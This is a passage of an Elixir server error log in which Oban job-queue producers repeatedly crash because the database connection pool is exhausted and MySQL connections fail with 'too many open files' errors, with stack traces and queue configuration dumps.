  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:02:26.238968Z], limit: 20, uuid: "447c9f36-4c39-4fad-8018-584b40d6f279", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:26.238973Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44335>, refresh_timer: #Reference<0.2525715032.1068498948.44298>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:02:26.238374Z], limit: 5, uuid: "10b8e58d-e700-4d13-b3b4-8230e188fddc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:26.238381Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44337>, refresh_timer: #Reference<0.2525715032.1068498948.44288>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:02:26.239226Z], limit: 10, uuid: "b4a5e823-7bca-4b4a-9ec0-1ec724cf811f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:26.239232Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44336>, refresh_timer: #Reference<0.2525715032.1121189889.153443>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:02:26.239282Z], limit: 50, uuid: "2df01af0-adc8-419b-97c3-0143a9216117", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:26.239288Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44340>, refresh_timer: #Reference<0.2525715032.1077673987.18919>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:38.423000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:39.262000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:40.298000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:43.386000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:45.142000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:45.884000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:02:38.239885Z], limit: 10, uuid: "aa9a4720-7917-4e02-816c-0c97aaa2f614", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:38.239891Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.153568>, refresh_timer: #Reference<0.2525715032.1068498948.44526>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:02:38.239731Z], limit: 5, uuid: "7f20f8c1-bd2c-40d4-9014-39fa2811f8b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:38.239737Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.19234>, refresh_timer: #Reference<0.2525715032.1077673987.19202>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:02:38.239727Z], limit: 3, uuid: "e72c57f3-0adc-427a-be8b-94821ea52edc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:38.239734Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.19236>, refresh_timer: #Reference<0.2525715032.1077673987.19201>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:02:38.239860Z], limit: 50, uuid: "0daf959c-0864-442b-89b5-1b30c45eda7d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:38.239866Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.19235>, refresh_timer: #Reference<0.2525715032.1077673987.19208>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:02:38.239850Z], limit: 5, uuid: "79d75e9f-3aba-4ab4-9175-a1d14858cd30", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:38.239855Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.19237>, 